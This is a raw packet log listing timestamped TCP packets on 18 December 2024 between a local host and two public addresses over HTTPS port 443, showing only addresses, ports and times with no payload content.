Dec 18, 2024 13:06:04.770466089 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:04.770493031 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:04.770509958 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:04.770529985 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:04.770548105 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:04.770551920 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:04.770572901 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:04.770576954 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:04.770622969 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:04.770677090 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:04.815534115 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:04.950851917 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:04.950867891 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:04.950920105 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:04.950954914 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:04.950994968 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:04.951000929 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:04.951034069 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:04.951055050 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.003127098 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.005670071 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.005697012 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.005743980 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.005765915 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.005796909 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.005810976 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.005826950 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.005852938 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.013341904 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.013434887 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.013490915 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.013500929 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.065586090 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.127953053 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.127981901 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.128026962 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.128046989 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.128063917 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.128076077 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.128093958 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.128115892 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.128177881 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.165792942 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.165846109 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.165890932 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.165915012 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.165966034 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.165977001 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.166009903 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.170988083 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.171139002 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.190169096 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.190191031 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.190253973 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.190270901 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.190270901 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.190291882 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.190308094 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.190356970 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.192569017 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.237423897 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.297765017 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.297780991 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.297854900 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.297862053 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.297905922 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.297931910 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.297960997 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.300318956 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.317078114 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.317135096 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.317164898 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.317197084 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.317219019 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.337172985 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.337230921 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.337261915 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.337289095 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.337308884 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.353676081 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.353751898 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.353785992 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.353813887 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.353862047 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.370388985 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.370438099 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.370465040 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.370491982 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.370516062 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.387037992 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.387101889 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.387149096 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.387204885 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.387204885 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.387234926 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.387353897 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.403702974 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.403747082 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.403781891 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.403790951 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.403810024 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.403836966 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.403845072 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.456248045 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.491046906 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.491085052 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.491131067 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.491167068 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.491180897 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.491194963 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.491230011 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.491250992 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.491255999 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.503391981 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.503448009 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.503474951 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.503484964 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.503519058 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.515266895 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.515350103 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.515367031 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.515403032 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.515434027 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.531797886 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.531852961 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.531883955 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.531893969 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.531927109 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.531945944 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.541543007 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.541565895 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.541613102 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.541624069 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.541644096 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.541661024 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.553679943 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.553716898 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.553766966 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.553786039 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.553813934 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.564687967 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.564719915 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.564758062 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.564770937 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.564794064 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.574935913 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.574968100 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.574992895 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.575001955 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.575028896 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.628072023 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.628091097 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.674966097 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.685162067 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.685175896 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.685203075 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.685209990 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.685240030 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.685343027 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.685362101 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.685472012 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.692831993 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.692847967 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.692867041 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.692898989 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.692960024 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.692984104 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.692996025 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.700247049 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.700279951 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.700287104 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.700337887 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.700354099 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.700381041 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.726291895 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.726331949 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.726416111 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.726434946 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.734304905 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.734344959 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.734374046 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.734396935 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.734447956 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.734457970 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.734554052 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.749301910 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.749310017 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.749330044 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.749458075 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.749466896 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.749517918 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.750199080 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.756531000 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.756551027 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.756623030 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.756668091 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.756700993 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.799921036 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.799940109 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.846791983 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.872483969 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.872498989 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.872526884 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.872534990 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.872605085 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.872621059 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.872651100 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.872677088 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.873455048 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.880829096 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.880846024 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.880873919 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.880898952 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.880907059 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.880959034 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.880966902 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.881110907 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.887876034 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.887892962 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.887953997 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.887964010 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.888008118 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.888015032 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.896645069 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.896671057 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.896708965 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.896718979 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.896753073 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.921789885 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.921840906 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.921960115 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.921988010 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.938334942 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.938390017 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.938412905 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.938488007 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.938509941 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.938560009 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.945327044 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.945343971 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.945424080 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.945452929 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.945461988 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.945517063 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.952495098 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.952512026 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.952574968 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.952581882 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.952706099 CET	443	49743	3.5.239.146	192.168.2.5
Dec 18, 2024 13:06:05.954632044 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:05.955131054 CET	49743	443	192.168.2.5	3.5.239.146
Dec 18, 2024 13:06:06.235918999 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:06.235955000 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:06.236116886 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:06.236501932 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:06.236512899 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:08.205689907 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:08.207365990 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:08.207376957 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:09.012892008 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:09.065644979 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:09.271927118 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:09.271944046 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:09.271965027 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:09.271972895 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:09.271994114 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:09.271996975 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:09.272017002 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:09.272047997 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:09.272079945 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:09.733428001 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:09.733464956 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:09.733513117 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:09.733515024 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:09.733540058 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:09.733549118 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:09.733578920 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:09.733591080 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:09.733633995 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:09.733700037 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:09.784282923 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:10.006635904 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.006654978 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.006679058 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.006691933 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.006722927 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:10.006732941 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.006762028 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:10.006773949 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:10.006778002 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.049957037 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:10.359816074 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.359832048 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.359857082 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.359899044 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.359922886 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:10.359940052 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.359972000 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:10.360034943 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:10.601563931 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.643682957 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:10.698970079 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.698992014 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.699018002 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.699035883 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.699047089 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.699062109 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.699162960 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:10.699162960 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:10.699177027 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.699192047 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.699238062 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:10.753289938 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:10.947529078 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.947545052 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.947587967 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.947599888 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.947633982 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:10.947647095 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:10.947688103 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:10.947688103 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:10.958344936 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.003093004 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:11.199079990 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.199107885 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.199152946 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.199176073 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.199182034 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:11.199198008 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.199248075 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:11.199248075 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:11.441274881 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.441294909 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.441320896 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.441430092 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:11.441430092 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:11.441445112 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.441492081 CET	49749	443	192.168.2.5	52.95.161.33
Dec 18, 2024 13:06:11.452043056 CET	443	49749	52.95.161.33	192.168.2.5
Dec 18, 2024 13:06:11.503196001 CET	49749	443	192.168.2.5	52.95.161.33
